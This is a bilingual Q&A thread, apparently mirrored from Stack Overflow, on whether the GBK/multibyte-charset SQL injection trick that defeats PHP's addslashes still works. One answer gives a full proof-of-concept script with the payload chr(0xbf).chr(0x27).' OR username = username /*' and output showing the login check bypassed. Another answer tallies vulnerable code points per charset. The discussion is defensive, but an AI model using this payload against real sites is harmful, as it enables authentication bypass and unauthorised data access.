php addslashes sql注入仍然有效吗?

发布于 2024-10-19 05:08:16 字数 881 浏览 4 评论 0原文

我知道“参数化查询”是圣杯。这不是主题。

有一篇旧帖子,似乎是所有与使用addslashes时的sql注入相关的讨论的参考。

这是链接:http://shiflett.org/ blog/2006/jan/addslashes-versus-mysql-real-escape-string

我的问题是:这个概念证明仍然正确吗?我尝试测试它,但添加斜杠似乎工作正常。有没有其他人真正尝试过这个,或者每个人都认为这是理所当然的?

  • 我添加了 $db->set_charset("GBK");
  • 我使用 gbk_chinese_ci 作为数据库/字段
  • mysql 日志显示此查询

    <前><代码>选择* 来自用户 WHERE 用户名 = '�\' OR 用户名 = 用户名 /*' AND 密码 = '猜测'

    很明显这个技巧不起作用

    更新:请阅读我提出的问题。 我不关心最佳实践,我不需要替代方案,我只需要确保这仍然有效或无效。

    更新:另外,我想提醒一下这个 POC 适用于 GBK、SJIS 或 BIG5 等字符集,但每个人似乎都忘记了这一点。当说“addslashes”时,让标题听起来有点吓人是不安全的。

    解决方案:在我的例子中,mysql版本5.5.9-log不允许像/*这样未完成的内联注释。如果我使用 -- 或 # 就可以了。

  • I know "parameterised queries" is the holy grail. This is not the topic.

    There is an old post, that seems to be the reference for all discussions related to sql injections when addslashes is used.

    This is the link : http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

    My question is : is this Proof of concept still correct ? I tried to test it but the addslashes seems to be working correctly. Did anyone else actually tried this or everybody is taken it for granted ?

  • I added $db->set_charset("GBK");
  • I used gbk_chinese_ci for db/fields
  • The mysql log shows this query

     SELECT *
            FROM   users
        WHERE  username = '�\' OR username = username /*'
        AND    password = 'guess'
    

    so clearly the trick it's not working

    Update : Please read the question I'm asking.
    I don't care for best practice, I don't need alternatives, I just need to makes sure this is still valid or not.

    Update : Also I would like to remind this POC works for character sets like GBK, SJIS or BIG5 and everybody seems to forget that. Making the titles sound a bit to scary when saying addslashes is not safe.

    Solution : In my case the mysql version 5.5.9-log is not allowing inline comments that are not finised like /*. If I use -- or # it works.

  • 如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

    扫码二维码加入Web技术交流群

    发布评论

    需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

    评论(2

    蓝海 2024-10-26 05:08:16

    这似乎对我有用。

    mysql:

    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> CREATE TABLE users (
        ->     username VARCHAR(32) CHARACTER SET GBK,
        ->     password VARCHAR(32) CHARACTER SET GBK,
        ->     PRIMARY KEY (username)
        -> );
    Query OK, 0 rows affected (0.08 sec)
    
    mysql> insert into users SET username='ewrfg', password='wer44';
    Query OK, 1 row affected (0.02 sec)
    
    mysql> insert into users SET username='ewrfg2', password='wer443';
    Query OK, 1 row affected (0.03 sec)
    
    mysql> insert into users SET username='ewrfg4', password='wer4434';
    Query OK, 1 row affected (0.00 sec)
    

    PHP:

    <pre><?php
    echo "PHP version: ".PHP_VERSION."\n";
    
    mysql_connect();
    mysql_select_db("test");
    mysql_query("SET NAMES GBK");
    
    $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
    $_POST['password'] = 'guess';
    
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    mysql_set_charset("GBK");
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    

    结果:

    PHP version: 5.3.3
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(30) "\ї\' OR username = username /*"
    int(0)
    string(3) "gbk"
    

    结论:

    对于那些高喊“你应该使用 mres 而不是 addslashes!”的人来说,第二个结果将是最令人惊讶的

    It seems working for me.

    mysql:

    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> CREATE TABLE users (
        ->     username VARCHAR(32) CHARACTER SET GBK,
        ->     password VARCHAR(32) CHARACTER SET GBK,
        ->     PRIMARY KEY (username)
        -> );
    Query OK, 0 rows affected (0.08 sec)
    
    mysql> insert into users SET username='ewrfg', password='wer44';
    Query OK, 1 row affected (0.02 sec)
    
    mysql> insert into users SET username='ewrfg2', password='wer443';
    Query OK, 1 row affected (0.03 sec)
    
    mysql> insert into users SET username='ewrfg4', password='wer4434';
    Query OK, 1 row affected (0.00 sec)
    

    PHP:

    <pre><?php
    echo "PHP version: ".PHP_VERSION."\n";
    
    mysql_connect();
    mysql_select_db("test");
    mysql_query("SET NAMES GBK");
    
    $_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
    $_POST['password'] = 'guess';
    
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    
    mysql_set_charset("GBK");
    $username = mysql_real_escape_string($_POST['username']);
    $password = mysql_real_escape_string($_POST['password']);
    $sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
    $result = mysql_query($sql) or trigger_error(mysql_error().$sql);
    var_dump($username);
    var_dump(mysql_num_rows($result));
    var_dump(mysql_client_encoding());
    

    result:

    PHP version: 5.3.3
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(29) "ї\' OR username = username /*"
    int(3)
    string(6) "latin1"
    string(30) "\ї\' OR username = username /*"
    int(0)
    string(3) "gbk"
    

    Conclusions:

    A second result going to be most surprising for those who chants "you should use mres instead of addslashes!"

    可爱暴击 2024-10-26 05:08:16

    为了让您获得 '�\' 我猜您使用了 0x??5c 多字节字符而不是 0x??27 > 多字节字符。

    我在服务器上得到以下结果(导致成功注入的测试代码点的数量):

    • SJIS:47/47
    • SJIS-win:58/58
    • EUC-CN: 0/95
    • CP936: 126/126
    • BIG-5: 89/94
    • EUC-KR: 0/93

    我没有测试 MySQL 的其他可用字符集,因为它们不是PHP 的 mbstring 扩展中提供了这些字符,因此我无法快速确定这些编码中存在哪些多字节字符。我也只尝试了双字节字符,因此可能存在更容易受到攻击的字符集。

    此外,如果表数据采用与客户端设置的编码相同的编码,也会有所帮助。否则,许多潜在的代码点都会出现“非法排序规则混合”错误。

    For you to get '�\' I'm guessing you used the 0x??5c multi-byte character instead of the 0x??27 multibyte character.

    I got the following results on my server (number of tested code points resulting in successful injections):

    • SJIS: 47/47
    • SJIS-win: 58/58
    • EUC-CN: 0/95
    • CP936: 126/126
    • BIG-5: 89/94
    • EUC-KR: 0/93

    I didn't test MySQL's other available charsets since they weren't available in PHP's mbstring extension, so I had no quick way of determining which multi-byte characters existed in those encodings. I also only tried double-byte characters, so there may be more vulnerable character sets.

    Also, it helps if the table data is in the same encoding that the client is set to. Otherwise, you get "Illegal mix of collations" errors for a lot of the potential code points.

    ~没有更多了~
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文